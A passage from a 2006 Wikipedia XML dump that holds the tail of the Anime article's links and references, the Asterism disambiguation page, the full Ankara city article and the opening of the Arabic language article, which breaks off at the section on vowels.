*Clements, Jonathan and Helen McCarthy.  ''The Anime Encyclopedia''.  Berkeley, Calif.: Stone Bridge Press,  2001. ISBN 1880656647.
*Napier, Susan J. ''Anime: From Akira to Princess Mononoke''. New York: Palgrave, 2001. ISBN 031223862.
*Poitras, Gilles. ''Anime Companion''. Berkeley, Calif.: Stone Bridge Press,  1998. ISBN 1880656329.
*Poitras, Gilles. ''Anime Essentials''. Berkeley, Calif.: Stone Bridge Press,  2000. ISBN 1880656531.
*Baricordi, Andrea and Pelletier, Claude. ''Anime: A Guide to Japanese Animation (1958-1988)''. Montreal, Canada.: Protoculture,  2000. ISBN 2980575909.

==External links==
'''Databases'''
*[http://www.anidb.net/ AniDB]: database of anime series, hashes, fansub groups, and 'mylist' feature.
*[http://www.animeacademy.com/ Anime Academy]: Anime database, community forum and articles on culture, style, and prominent figures.
*[http://www.animelyrics.com/ Anime Lyrics]
*[http://www.AnimeNfo.com/ AnimeNfo]: Anime database, reviews, and community forums.
*[http://www.public.iastate.edu/~rllew/anitv.html Richard Llewellyn's Anime TV Series List]: Comprehensive anime title database.

'''Link sites'''
*[http://www.animeallies.com Anime Allies Directory] Directory of anime sites and resources.
*[http://www.anipike.com/ Anime Web Turnpike]

'''News'''
*[http://www.animenewsnetwork.com/ Anime News Network]: Anime news site, also has weekly columns, forums, and an extensive encyclopedia of series, companies, and staff/cast.

'''Wikis'''
*[http://www.anime-wiki.org/ Anime Wiki] Their goal is to build a wiki without copying other sources.

'''Review sites'''
*[http://www.dannychoo.com/ Anime reviews, toys and opening movie intros]
*[http://www.animeondvd.com/ Anime on DVD]: Extensive database of anime DVD reviews.
*[http://www.animefridge.com/ Anime Fridge] An archive of anime, video games, manga, and related soundrack reviews.
*[http://www.theanimereview.com/ The Anime Review] Reviews of current and past anime series.
*[http://www.themanime.org/ THEM Anime] Indepth reviews and synopses of various anime titles.
*[http://www.animefrontier.com/ Anime Frontier] Reviews of anime and manga, as well as other various resources.

'''Other reference'''
*[http://www.japan-7.com/ Japan-7]: Webzine and an archive of anime music, ost, j-music.
*[http://www.tvtropes.org/pmwiki/pmwiki.php/Main/AnimeTrope Anime Tropes]: Common cliches and visual cues.
*[http://www.greencine.com/static/primers/anime.jsp GreenCine primer on Anime]
*[http://www.anime.com.ru/ Anime portal in Russia]

==Notes==
# {{note | refbot.15 }} {{cite web | title = Do Manga Characters Look &quot;White&quot;? | url = http://www.matt-thorn.com/mangagaku/faceoftheother.html | accessdate = December 5 | accessyear = 2005 }}

&lt;!-- Please do NOT change the Esperanto link again. This one is correct, and 'Animeo' is not. Thank you. --&gt;

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[[Category:Art genres]]
[[Category:Cartooning]]
[[Category:Film]]

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[[zh:日本动画]]</text>
    </revision>
  </page>
  <page>
    <title>Asterism</title>
    <id>801</id>
    <revision>
      <id>41953207</id>
      <timestamp>2006-03-02T21:21:56Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>moved [[Asterism (disambiguation)]] to [[Asterism]]: Since the article without parentheses is a redirect...</comment>
      <text xml:space="preserve">'''Asterism''' may refer to:

*[[Asterism (astronomy)]]
*[[Asterism (gemmology)]]
*[[Asterism (typography)]]

{{disambig}}

[[fr:Astérisme]]
[[it:Asterismo]]</text>
    </revision>
  </page>
  <page>
    <title>Ankara</title>
    <id>802</id>
    <revision>
      <id>41707805</id>
      <timestamp>2006-03-01T05:06:20Z</timestamp>
      <contributor>
        <username>SDC</username>
        <id>181435</id>
      </contributor>
      <minor />
      <comment>/* Shopping */</comment>
      <text xml:space="preserve">{{Infobox town TR
  |name = Ankara
  |map2 = Ankara_City_Center.jpg
  |map2 size = 250
  |map2 cap = Ankara from the Atakule Tower, looking N-NE
  |map = Ankara Turkey Provinces locator.gif
  |map size = 250
  |map cap = Location in [[Turkey]]
  |province = Ankara
  |population = 4,319,167
  |population_as_of = 2005
  |population_ref = [] 
  |pop_dens = 
  |area =  
  |lat_deg = 39
  |lat_min = 52
  |lat_hem = N
  |lon_deg = 32
  |lon_min = 52
  |lon_hem = E
  |elevation = 850
  |postal_code = 06x xx
  |area_code = 0312
  |licence = 06
  |mayor = İ. Melih Gökçek (Justice and Development Party)
  |website = [http://www.ankara.bel.tr/ http://www.ankara.bel.tr/]
}}


'''Ankara''' is the [[capital city|capital]] of [[Turkey]] and the country's second largest city after [[İstanbul]]. The city has a population of 4,319,167 (Provience 5,153,000) ([[as of 2005]]), and a mean elevation of 850 m. (2800 ft.) It was formerly known as '''[[Angora]]''' or '''Engürü''', and in Roman times as '''Ancyra''', and in classical and Hellenistic periods as Ἄγκυρα '''Áŋkyra'''.

It is also the capital of [[Ankara Province]].

Centrally located in [[Anatolia]], Ankara is an important commercial and industrial city. It is the center of the Turkish Government, and houses all foreign embassies. It is an important crossroads of trade, strategically located at the center of Turkey's highway and rail network, and serves as the marketing center for the surrounding agricultural area. The city was famous for its long-haired goat and its wool ([[Angora wool]]), a unique breed of cat ([[Turkish Angora|Ankara cat]]), white [[rabbits]], [[pear]], [[honey]], and the region's [[Muscat grape|muscat]] [[grapes]].

Ankara is situated upon a steep and rocky hill, which rises 500 ft. above the plain on the left bank of the ''Enguri Su'', a tributary of the [[Sakarya]] (Sangarius) river. The city is located 39&amp;deg;52'30&quot; North, 32&amp;deg;52' East (39.875, 32.8333). The city, which is one of the driest places in Turkey and surrounded by a barren featureless steppe vegetation, with various [[Hittite]], [[Phrygian]], [[Ottoman Empire|Ottoman]], [[Byzantine Empire|Byzantine]] and [[Roman empire|Roman]] [[archeological site]]s. It has a harsh dry [[continental climate]] with cold snowy winters and hot dry summers. Rainfall occurs mostly during spring and autumn. 

The hill is crowned by the ruins of the old castle, which add to the picturesqueness of the view; but the town was not well built, many of its houses constructed of sun-dried mud bricks along narrow streets. &lt;sup&gt;[http://earth-info.nga.mil/gns/html/cntry_files.html]&lt;/sup&gt;  There are, however, many finely preserved remains of [[Architecture of Ancient Greece|Greek]], [[Roman Empire|Roman]] and [[Byzantine architecture]], the most remarkable being the temple of [[Caesar Augustus|Augustus]], on the walls of which is the famous ''Monumentum Ancyranum''&lt;sup&gt;[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Augustus/Res_Gestae/home.html]&lt;/sup&gt;

== History ==
[[Image:A Turkish Kaleidoscope (1926)- Ankara Bazaar.png|left|thumb|300px|Ankara Bazaar in [[1920s]].]]
The region's vibrant history can be traced back to the [[Bronze Age]] [[Hattians|Hatti]] civilization, which was succeeded in the 2nd millennium BC by the [[Hittites|Hittites]], in the 10th century BC by the [[Phrygians]], then by the [[Lydians]] and [[Persia|Persians]]. 

Persian sovereignty lasted until the Persians' defeat at the hands of the Macedonian king [[Alexander the Great]]. In [[333 BC]], Alexander came from [[Gordium]] to Ankara and stayed in the city for a period of time. After his death at [[Babylon]] in [[323 BC]] and the subsequent division of his empire amongst his generals, Ankara and its environs fell into the share of [[Antigonus I Monophthalmus|Antigonus]]. 

In [[278 BC]], Ankara was occupied by the [[Gaul|Gaulish]] race of [[Galatia|Galatians]] who were the first to make Ankara their capital. It was then known as '''Ancyra''', meaning &quot;[[anchor]]&quot; in [[Greek language|Greek]]. Ankara's organized and written history starts with the [[Galatia|Galatians]].

[[Image:Ulus_Ankara.jpg|right|thumb|200px|A view from Ulus, the historical district of Ankara.]]
The city subsequently fell to the [[Roman Empire]] in [[189 BC]] and became the capital of the Roman province of [[Galatia]]. Under Roman rule, Ankara became a gate to the east for Rome, and as such was well developed, achieving the status of &quot;city-state&quot; or [[polis]]. The city's military as well as logistical significance lasted well into the long [[Byzantine Empire|Byzantine]] reign, even after its capital was moved to [[Constantinople]]. Although Ankara fell into the hands of several Arab armies numerous times after the 6th century, it remained an important crossroads polis within the Byzantine Empire until the late 11th century.

In [[1071]] [[Seljuk Turks|Seljuk]] Sultan [[Alp Arslan|Alparslan]] threw open the door to Anatolia for the Turks by his victory at [[Battle of Manzikert|Malazgirt]]. He then annexed Ankara, an important location for military transportation and natural resources, to Turkish territory in [[1073]]. [[Orhan I]], second &quot;bey&quot; of the [[Ottoman Empire]] captured the city in [[1356]]. Another [[Turkic peoples|Turkic]] leader, [[Timur Lenk]] besieged Ankara as part of his campaign in [[Anatolia]], but in [[1403]] Ankara was again under Ottoman control.

At the close of [[World War I]], Turkey was under the control of the Ottoman sultan and having lost the war, was being shared by [[Greece|Greeks]], [[France|French]], [[United Kingdom|British]], and [[Italy|Italians]]. The leader of the Turkish nationalists, [[Kemal Atatürk]] established the headquarters of his resistance movement in Ankara in [[1919]] (See [[Treaty of Sèvres]] and [[Turkish War of Independence]]). After the War of Independence was won and the Ottoman Empire was dissolved, Turkey was declared a [[republic]] on [[October 29]], [[1923]], Ankara having replaced [[İstanbul]] (formerly [[Constantinople]]) as the capital of the new [[Republic of Turkey]] on [[October 13]], [[1923]].

[[Image:Kizilay_Ankara.jpg|left|thumb|300px|A recent view from Kızılay, the central district of Ankara.]]
After Ankara became the capital of the newly founded Republic of Turkey, new development divided the city into an old section, called '''Ulus''', and a new section, called '''Yenişehir'''. Ancient buildings reflecting Roman, Byzantine, and Ottoman history and narrow winding streets mark the old section. The new section, now centered around '''Kızılay''', has the trappings of a more modern city: wide streets, hotels, theaters, shopping malls, and high-rises. Government offices and foreign embassies are also located in the new section.

==Attractions==

===General attractions===

[[Image:Anitkabir.DO.jpg|right|thumb|300px|Anıtkabir, Atatürk's mausoleum.]]
[[Anıtkabir]] is located on an imposing hill in the ''Anittepe'' quarter of the city stands the mausoleum of Mustafa Kemal Atatürk, founder of the Republic of Turkey. Completed in [[1953]], it is an impressive fusion of ancient and modern architecture. An adjacent museum houses a superior wax statue of Atatürk, his writings, letters and personal items, as well as an exhibition of photographs recording important moments in his life and in the establishment of the Republic (Anitkabir is open everyday, and the adjacent museum every day except Mondays).

'''The [[Ankara Ethnography Museum]] (''Etnoğrafya Müzesi'')''': This museum is opposite the Opera House on Talat Pasa Boulevard, in Ulus district. There is a fine collection of folkloric as well as Seljuk- and Ottoman-era artifacts.

[[Image:AnatolianCivMuseum.DO.jpg|right|thumb|300px|An Hattian artifact, from 3rd millennium BC, in the Museum of Anatolian Civilizations]]
'''The Museum of Anatolian Civilizations (''Anadolu Medeniyetleri Müzesi'')''': Situated at the Ankara Castle entrance, it is an old &quot;bedesten&quot; (covered bazaar) that has been beautifully restored and now houses a unique collection of [[Paleolithic]], [[Neolithic]], [[Hatti]], [[Hittite]], [[Phrygia]]n, [[Urartu|Urartian]], and [[Roman Empire|Roma]]n works and showpiece [[Lydia]]n treasures. 

'''The Çengelhan Rahmi M. Koç Museum (''Çengelhan Rahmi M. Koç Müzesi'')''': is an industrial museum opposite the entrance to the Citadel, close to Anatolian Civilization Museum. Located in the historic Çengelhan - a former Caravanserai, built in 1522 - the Museum displays huge variety of exhibits on such diverse themes as Engineering, Road Transport, Scientific Instruments, Maritime, Medicine, and many others. The beautiful and atmospheric courtyard now houses the newly restored shop where the founder of the Koç Group, Mr Vehbi Koç started his working life. And when you have finished your museum visit, you can relax in either the Divan Café or the sophisticated Divan Brasserie in the courtyard.

'''[[State Art and Sculpture Museum]] (The Painting and Sculpture Museum) (''Resim-Heykel Müzesi'')''':  Close to the Ethnography Museum and houses a rich collection of Turkish art from the late [[19th century]] to the present day. There are also galleries which host guest exhibitions.

'''The War of Independence Museum (''Kurtuluş Savaşı Müzesi'')''': In Ulus Square, is what was originally the first parliament building of the Republic of Turkey. There the War of Independence was planned and directed here as recorded in various photographs and items presently on exhibition. In another display, wax figures of former presidents of the Republic of Turkey are on exhibit.

'''The TCDD [[Locomotive]] Museum''': Near the railway station by Celal Bayar Blvd., is a very interesting open-air museum that traces the history of steam locomotion through the locomotives and artifacts on display.

===Archeological sites===

[[Image:Ankara Citadel2.MarkHamilto.jpg|right|thumb|300px|Ankara Citadel.]]
'''Ankara Citadel''': The foundations of the citadel were laid by the Galatians on a prominent [[lava]] outcrop, and the rest was completed by the Romans. The Byzantines and Seljuks further made restorations and additions. The area around and inside the citadel, being the oldest part of Ankara, contains many fine examples of traditional architecture. There are also recreational areas to relax. Many restored traditional Turkish houses inside the citadel area have found new life as restaurants, serving local cuisine, music and of course, [[Raki]].

'''Roman Theatre''': The remains, the stage, and the backstage, can be seen outside the castle. Roman statues that were found here are exhibited in the Museum of Anatolian Civilizations (see above). The seating area is still under excavation. 

'''Temple of Augustus''': It was built by the Galatian King [[Pylamenes]] in [[AD 10]] as a tribute and sign of fidelity to [[Augustus]], and was reconstructed by the Romans on the ancient Ankara Acropolis in the 2nd century. It is important for the &quot;Monument Ancyranum&quot;, the sole surviving political testament of Augustus, detailing his achievements inscribed on its walls in [[Latin]] and [[Greek language|Greek]]. In the fifth century the temple was converted into a church by the [[Byzantine Empire|Byzantines]]. The temple is in the Ulus quarter of the city.

'''Roman Bath''': This bath has all the typical features of a classical [[Roman bath]]: a frigidarium (cold room), tepidarium (cool room) and caldarium (hot room). The bath was built in the reign of Emperor [[Caracalla|Caracalla]] in 3rd century AD to honour the [[Asclepios]], the God of Medicine. Today only the basement and first floors remain. Situated in Ulus quarter.

'''Column of Julian''': This column, in Ulus, was erected in AD 362, to commemorate a visit by the Roman Emperor [[Julian the Apostate]]. It stands fifteen meters high and has a typical leaf decoration on the capital.

===Modern monuments===

'''Monument to a Secure, Confident Future''': This monument, in Güven Park, Bakanlıklar quarter, was erected in 1935 and bears Atatürk's advice to his people: &quot;Turk! Be proud, work hard, and believe in yourself.&quot;

'''Victory Monument (''Zafer Anıtı'')''': Erected in 1927 in Zafer Square in the Sıhhiye quarter, it depicts Atatürk in uniform.

'''Hatti Monument''': Built in the 1970's in Sıhhiye Square, this impressive monument symbolizes the Hatti gods and commemorates Anatolia's earliest known civilization.

===Mosques===
[[Image:Kocatepe Mosque Ankara.jpg|left|thumb|200px|Kocatepe Mosque]]

'''Kocatepe Mosque''': This mosque was constructed in the late 20th century in accordance with classical Ottoman models, which emphasize the placement of four minarets. Its size and prominent location make it a landmark that can be seen from most anywhere in central Ankara.

'''[[Haci Bayram]] [[Mosque]]''': This mosque, in Ulus quarter next to the Temple of Augustus, was built in the early 15th century in Seljuk style and was subsequently restored by architect [[Sinan]] in the 16th century, with Kutahya tiles being added in the 18th century. The mosque was built in honor of Haci Bayram Veli, whose tomb is next to the mosque.

===Parks===
Ankara has many delightful parks and open spaces mainly established in the early years of the Republic and well maintained and expanded thereafter. The most important of these parks are: Gençlik Park (houses an amusement park with a large pond for rowing), the Botanical Garden, Seğmenler Park, Anayasa Park, Kuğulu Park (famous for the swans received as a gift from the [[China|Chinese]] government), Abdi Ipekci Park, Güven Park (see above for the monument), Kurtuluş Park (has an ice-skating rink), Altın Park (also a prominent exposition/fair area), Harikalar Diyari (said to be, Europe's Biggest Park inside city borders) and Göksu Park. 

[[Image:Goksu Park Ankara.jpg|right|thumb|300px|Göksu Park located in Eryaman district was established in 2004]]

'''Atatürk Farm and Zoo (''Atatürk Orman Çiftliği, AOÇ'')''' is an expansive recreational farming area housing a [[zoo]], several small agricultural farms, [[greenhouse]]s, restaurants, a [[Dairy farming|dairy farm]] and a [[brewery]]. It is a pleasant place to spend a day with family, be it for having picnics, hiking, biking or simply enjoying good food and nature. There is also an exact replica of the house where Atatürk was born in [[1881]], in [[Thessaloniki]], [[Greece]]. Visitors to the &quot;Çiftlik&quot; (farm) as it is affectionately called by Ankarans, can sample such famous products of the farm as its excellent old-fashioned beer and ice cream, fresh dairy products and meat rolls/kebaps made on charcoal, through an excellent traditional restaurant (''Merkez Lokantasi'', Central Restaurant), cafés and other establishments scattered in the farm.

===Shopping===

[[Image:Karum Inside.HB.jpg|left|thumb|200px|An inside view of Karum Shopping &amp; Business Center.]]

Foreign visitors to Ankara usually like to visit the old shops in ''Çıkrıkçılar Yokuşu'' (Weavers' road) near Ulus, where a myriad of things ranging from traditional fabrics, hand-woven carpets and leather products can be found for bargain prices. ''Bakırcılar Çarşısı'' (Bazaar of coppersmiths) is particularly popular, and many interesting items, not just of copper, can be found here...like jewelry, carpets, costumes, antiques and embroidery. Walking up the hill to the castle gate, you find many shops selling  a huge and fresh collection of spices, dried fruits, nuts, and other produce.

[[Image:Beymen Ankara.jpg|right|thumb|200px|Beymen Store located in popular Tunalı Hilmi Avenue]]
 
Modern shopping areas are mostly found in Kızılay, or on Tunalı Hilmi Avenue, including the modern mall of Karum which is located to the end of the Avenue; and in the [[Atakule Tower]] in Çankaya.  Çankaya being the quarter with the highest elevation in the city, the tower has a magnificent view over the whole city, and also has a [[revolving restaurant]] at the top where the complete panorama can be enjoyed in a more leisurely fashion. 

As Ankara started expanding westward in the 1970s, there are several modern, suburbia-style developments and mini-cities along the western highway, also known as [[Eskisehir Province|Eskisehir]] road. The Armada mall on the highway, the Galleria in Ümitköy, and a huge mall in Bilkent Center offering North American and European style mall-shopping opportunities (These can be reached following the Eskişehir highway).

==Universities==
Ankara is known for the multitude of universities it is home to. 
These include the following, several of them being among the most 
reputable of the country:

* [[Ankara University]]
* [[Atilim University|Atılım University]]
* [[Baskent University|Başkent University]]
* [[Bilkent University]]
* [[Cankaya University|Çankaya University]]
* [[Gazi University]]
* [[Hacettepe University]]
* [[Middle East Technical University]]
* [[Ufuk University]]

==Transportation==
[[Image:Ankara_Metro.jpg|thumb|300px|right|Map of the Subway of Ankara.]]
[[Esenboga International Airport]], located in the north of the city, is the main airport of Ankara. The bus lines constitute the main means of inter-city transportation in Turkey, and [http://www.asti.com.tr Ankara Intercity Bus Terminal] ([[Turkish language|Turkish]]: Ankara Şehirlerarası Terminal İşletmesi, AŞTİ) is an important part of the network. The railstation &quot;Ankara Garı&quot; of [[Turkish Republic Railways]] ([[Turkish language|Turkish]]: Türkiye Cumhuriyeti Devlet Demiryolları, TCDD) is an important hub connecting western and eastern parts of the country.

[http://www.ego.gov.tr EGO] (Elektrik Gaz Otobüs) operates the public transportation. There are currently two subway lines in the city and three more are under construction.

[[Image:Ankara subway.jpg|thumb|300px|left|A view from Ankara Metro.]] 

==Sports==
The city has three [[football clubs]] currently competing in the [[Turkish Premier Super League]]: [[Genclerbirligi|Gençlerbirliği]] (finished 5th in the league), [[Ankaraspor|Büyükşehir Belediye Ankaraspor]] (finished 7th in the league), and [[Ankaragücü]] (finished 13th in the league).

==See also==
* [[Synod of Ancyra]]
* [[maNga (band)]]

==External links==
{{commons|Ankara}}
*[http://www.worldturkey.com/gallery/categories.php?cat_id=12 Ankara City Life Photos Gallery]
*[http://www.ankara.bel.tr/album.asp Photo Album of Municipality of Ankara]
*[http://www.turkishclass.com/turkey_pictures_gallery_14 Pictures of Ankara]
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Augustus/Res_Gestae/home.html Monumentum Ancyranum]
*[http://goturkey.kultur.gov.tr/destinasyon_en.asp?belgeno=9572&amp;belgekod=9572&amp;Baslik=Ankara Turkish Ministry of Culture and Tourism's ''Ankara &amp; environs'' page]
* [http://www.turkeyforecast.com/weather/ankara/ Ankara Weather Forecast Information]
* [http://www.pbase.com/dosseman/ankara_turkey Pictures of the capital of this province]
* [http://www.pbase.com/dosseman/ankara_museum_turkey Pictures of some of the oldest and finest finds in the country at Ankara Museum of Anatolian Civilizations]
* [http://www.pbase.com/dosseman/ankara_anit_kabir Atatürk Mausoleum in Ankara]

[[Category:Archaeological sites in Turkey]]
[[Category:Capitals in Asia]]
[[Category:Cities in Turkey]]
[[Category:Ankara]]

[[ar:أنقرة]]
[[az:Ankara]]
[[bg:Анкара]]
[[bs:Ankara]]
[[ca:Ancyra]]
[[cs:Ankara]]
[[cy:Ankara]]
[[da:Ankara]]
[[de:Ankara]]
[[es:Ankara]]
[[eo:Ankara]]
[[fa:استان آنکارا]]
[[fr:Ankara]]
[[gl:Ancara - Ankara]]
[[ko:앙카라]]
[[hr:Ankara]]
[[io:Ankara]]
[[id:Ankara]]
[[ia:Ankara]]
[[it:Ankara]]
[[he:אנקרה]]
[[ku:Enqere]]
[[la:Ancyra]]
[[lt:Ankara]]
[[lb:Ankara]]
[[hu:Ankara]]
[[nl:Ankara]]
[[nds:Ankara]]
[[ja:アンカラ]]
[[ka:ანკარა]]
[[no:Ankara]]
[[nn:Ankara]]
[[pl:Ankara]]
[[pt:Ancara]]
[[ro:Ankara]]
[[ru:Анкара]]
[[simple:Ankara]]
[[sk:Ankara]]
[[sl:Ankara]]
[[sr:Анкара]]
[[fi:Ankara]]
[[sv:Ankara]]
[[tr:Ankara (şehir)]]
[[uk:Анкара]]
[[zh:安卡拉]]</text>
    </revision>
  </page>
  <page>
    <title>Arabic language</title>
    <id>803</id>
    <revision>
      <id>41737407</id>
      <timestamp>2006-03-01T11:20:21Z</timestamp>
      <contributor>
        <username>Emrrans</username>
        <id>603651</id>
      </contributor>
      <minor />
      <comment>Correction.</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Arabic
|nativename=العربية ''{{ArabDIN|al-ʻarabiyyah}}''
|pronunciation=/alˌʕa.raˈbij.ja/
|states=[[Algeria]], [[Bahrain]], [[Egypt]], [[Iraq]], [[Jordan]], [[Kuwait]], [[Lebanon]], [[Libya]], [[Mauritania]], [[Morocco]], [[Oman]], [[Qatar]], [[Saudi Arabia]], [[Somalia]], [[Sudan]], [[Syria]], [[Tunisia]], [[United Arab Emirates]], [[Palestine (region)|Palestine (West Bank and Gaza)]], [[Western Sahara]] ([[Sahrawi Arab Democratic Republic|SADR]]), [[Yemen]] by a majority, and in many other countries, such as [[Israel]], as a minority language.
|region=[[Arab world]]
|speakers=206 million ([[Ethnologue]], native speakers of all dialects 1998 est.); 286 million (population of [[Arab]] countries, [[CIA World Factbook]] 2004 est.), excluding Arab minorities in other countries and bilingual speakers
|rank=5 (by first language); slightly before [[Portuguese language|Portuguese]] and [[Bengali language|Bengali]]
|familycolor=Afro-Asiatic
|fam2=[[Semitic languages|Semitic]]
|fam3=[[West Semitic languages|West Semitic]]
|fam4=[[Central Semitic languages|Central Semitic]]
|script=[[Arabic alphabet]]
|nation=[[Algeria]], [[Bahrain]], [[Comoros]], [[Chad]], [[Djibouti]], [[Egypt]], [[Eritrea]], [[Iraq]], [[Israel]], [[Jordan]], [[Kuwait]], [[Lebanon]], [[Libya]], [[Mauritania]], [[Morocco]], [[Oman]], [[Palestine (region)|Palestine]], [[Qatar]], [[Western Sahara]] ([[Sahrawi Arab Democratic Republic|SADR]]), [[Saudi Arabia]], [[Somalia]], [[Sudan]], [[Syria]], [[Tunisia]], [[United Arab Emirates]], [[Yemen]]; 
&lt;br&gt;A [[national language]] of: [[Mali]], [[Senegal]] ([[Hassaniya]]).&lt;br&gt;&lt;br&gt;
International organizations: [[United Nations]], [[Arab League]], [[Organization of Islamic Conference]], [[African Union]]
|agency=[[Egypt]]: [[Academy of the Arabic Language]]
|iso1=ar|iso2=ara
|lc1=ara|ld1=Arabic (generic)&lt;br&gt;''see [[varieties of Arabic]] for the individual codes''|ll1=none}}

'''Arabic''' ({{ar|اللغة العربية}};  ''{{ArabDIN|al-luġatu-l-ʻarabiyyatu}}'', less formally, {{ar|عربي}}  ''{{ArabDIN|ʻarabī}}'') is the largest member of the [[Semitic]] branch of the [[Afro-Asiatic]] [[language family]] (classification: South Central Semitic) and is closely related to [[Hebrew language|Hebrew]] and [[Aramaic language|Aramaic]]. It is spoken throughout the [[Arab world]] and is widely studied and known throughout the [[Islamic world]]. Arabic has been a [[literary language]] since at least the [[6th century]] and is the [[liturgical language]] of [[Islam]].

Quite a few [[English language|English]] words are ultimately derived from Arabic, often through other [[Europe]]an languages, especially [[Spanish language|Spanish]], among them every-day vocabulary like &quot;[[sugar]]&quot; (''sukkar''),  &quot;[[cotton]]&quot; (''{{unicode|quṭūn}}'')  or &quot;[[magazine]]&quot; (''[[makhzen|{{ArabDIN|maḫāzin}}]]''). More recognizable are words like &quot;[[algebra]]&quot;, &quot;[[alcohol]]&quot; and &quot;zenith&quot; (see [[list of English words of Arabic origin]]).

==Literary and Modern Standard Arabic==
The term &quot;Arabic&quot; may refer either to [[literary Arabic]] or [[Modern Standard Arabic]] or to the many localized [[varieties of Arabic]] commonly called &quot;colloquial Arabic.&quot; Arabs consider literary Arabic as the standard language and tend to view everything else as mere dialects. [[Literary Arabic]], ''{{ArabDIN|al-luġatu-l-ʻarabiyyatu-l-fuṣḥā}}'' (Literally: &quot;the most eloquent Arabic language&quot; &amp;mdash; {{ar|اللغة العربية الفصحى}}) refers both to the language of present-day media across [[North Africa]] and the [[Middle East]] and to the more articulate language of the [[Qur'an]]. (The expression ''media'' here includes most television and radio, and all written matter, including all books, newspapers, magazines, documents of every kind, and reading primers for small children.) &quot;Colloquial&quot; or &quot;dialectal&quot; Arabic refers to the many national or regional varieties derived from Classical Arabic, spoken daily across [[North Africa]] and the [[Middle East]], which constitute the everyday spoken language. These sometimes differ enough to be mutually incomprehensible. These dialects are not typically written, although a certain amount of literature (particularly plays and poetry) exists in many of them. They are often used to varying degrees in informal spoken media, such as [[soap opera]]s and [[talk show]]s.
Literary Arabic or classical Arabic is the official language of all Arab countries and is the only form of Arabic taught in schools at all stages.

The sociolinguistic situation of Arabic in modern times provides a prime example of the linguistic phenomenon of [[diglossia]]–the normal use of two separate varieties of the same language, usually in different social situations. In the case of Arabic, educated Arabs of any nationality can be assumed to speak both their local dialect and their school-taught literary Arabic (to an equal or lesser degree). This diglossic situation facilitates [[code switching]] in which a speaker switches back and forth unaware between the two varieties of the language, sometimes even within the same sentence.  In instances in which Arabs of different nationalities engage in conversation only to find their dialects mutually unintelligible (e.g. a Moroccan speaking with a Lebanese), both should be able to code switch into Literary Arabic for the sake of communication.  

Since the written Arabic of today differs from the written Arabic of the [[Qur'an]]ic era, it has become customary in western scholarship and among non-Arab scholars of Arabic to refer to the language of the Qur'an as [[Classical Arabic]] and the modern language of the media and of formal speech as [[Modern Standard Arabic]]. Arabs, on the other hand, often use the term ''{{Unicode|fuṣḥā}}'' to refer to both forms, thus placing greater emphasis on the similarities between the two. The difference between Arabic of the Qur'anic era and today's Classical Arabic is only in the degree of eloquence. The vocabulary, the syntactic and grammatical rules are the same.

==Arabic and Islam==
It is sometimes difficult to translate [[Islam]]ic concepts, and concepts specific to [[Arab culture]], without using the original Arabic terminology. The [[Qur'an]] is expressed in Arabic and traditionally [[Muslim]]s deem it impossible to translate in a way that would adequately reflect its exact meaning&amp;mdash;indeed, until recently, some schools of thought maintained that it should not be translated at all. A [[list of Islamic terms in Arabic]] covers those terms which are too specific to translate in one phrase. While Arabic is strongly associated with [[Islam]] (and is the language of [[salah]]), it is also spoken by [[Arab Christians]], Oriental {{Unicode|([[Mizrahi Jews|Mizraḥi]])}} [[Jew]]s, and smaller sects such as Iraqi [[Mandaean]]s. Even so, a majority of the world's [[Muslims]] do not actually speak Arabic, but only know some fixed phrases of the language, such as those used in Islamic prayer. However, to counteract this trend, non-Arabic-speaking Muslims are strongly encouraged to learn the language.

==Classification and related languages==
[[Maltese language|Maltese]], which is spoken on the Mediterranean island of [[Malta]], is the only surviving European language to derive primarily from Arabic, though it contains a large number of [[Italian language|Italian]] and English borrowings.

==Dialects==
''See [[varieties of Arabic]] for main article''

&quot;Colloquial Arabic&quot; is a collective term for the spoken languages or dialects of people throughout the Arab world, which, as mentioned, differ radically from the [[literary language]]. The main dialectal division is between the [[Maghreb]] dialects and those of the [[Middle East]], followed by that between sedentary dialects and the much more conservative [[Bedouin]] dialects.  [[Maltese language|Maltese]], though descended from Arabic, is considered a separate language. Speakers of some of these dialects are unable to converse with speakers of another dialect of Arabic; in particular, while Middle Easterners can generally understand one another, they often have trouble understanding Maghrebis (although the converse is not true, due to the popularity of Middle Eastern&amp;mdash;especially Egyptian&amp;mdash;films and other media).

One factor in the differentiation of the dialects is influence from the languages previously spoken in the areas, which have typically provided a significant number of new words, and have sometimes also influenced pronunciation or word order; however, a much more significant factor for most dialects is, as among [[Romance languages]], retention (or change of meaning) of different classical forms. Thus Iraqi ''aku'', Levantine ''fiih'', and North African ''kayen'' all mean &quot;there is&quot;, and all come from Arabic (''yakuun'', ''fiihi'', ''kaa'in'' respectively), but now sound very different.

The major groups are:

*[[Egyptian Arabic]]
*[[Maghreb Arabic]] ([[Algerian Arabic]], [[Moroccan Arabic]], [[Tunisian Arabic]] and western Libyan)
*[[Levantine Arabic]] (Western Syrian, Lebanese, Palestinian, and western Jordanian, [[Cypriot Maronite Arabic]])
*[[Iraqi Arabic]] ([[Khuzestani Arabic]]), which has significant [[Persian language|Persian]] influence and is not understood by most other Arabic speakers
*[[Gulf Arabic]]   (Eastern Syrian, Kuwaiti, Saudi Arabian, Persian Gulf coast from Iraq to Oman including much of Saudi Arabia's [[Eastern Province, Saudi Arabia|Eastern Province]], and minorities on the other side)

Other varieties include:

* {{unicode|[[Hassaniya|Ḥassānīya]]}} (in Mauritania and western Sahara)
* [[Andalusi Arabic]] (extinct, but important role in literary history)
* [[Maltese language|Maltese]]
* [[Sudanese Arabic]] (with a dialect continuum into Chad)
* [[Baharna Arabic]] (Bahrain, Saudi Eastern Province, and Oman)
* [[Hijazi Arabic]] (west coast of Saudi Arabia, Northern Saudi Arabia, eastern Jordan, Western Iraq)
* [[Najdi Arabic]] (Najd region of central Saudi Arabia)
* [[Yemeni Arabic]] (Yemen to southern Saudi Arabia)

== Sounds ==
{{IPA notice}}
The phonemes below reflect the pronunciation of Standard Arabic.

===Vowels===

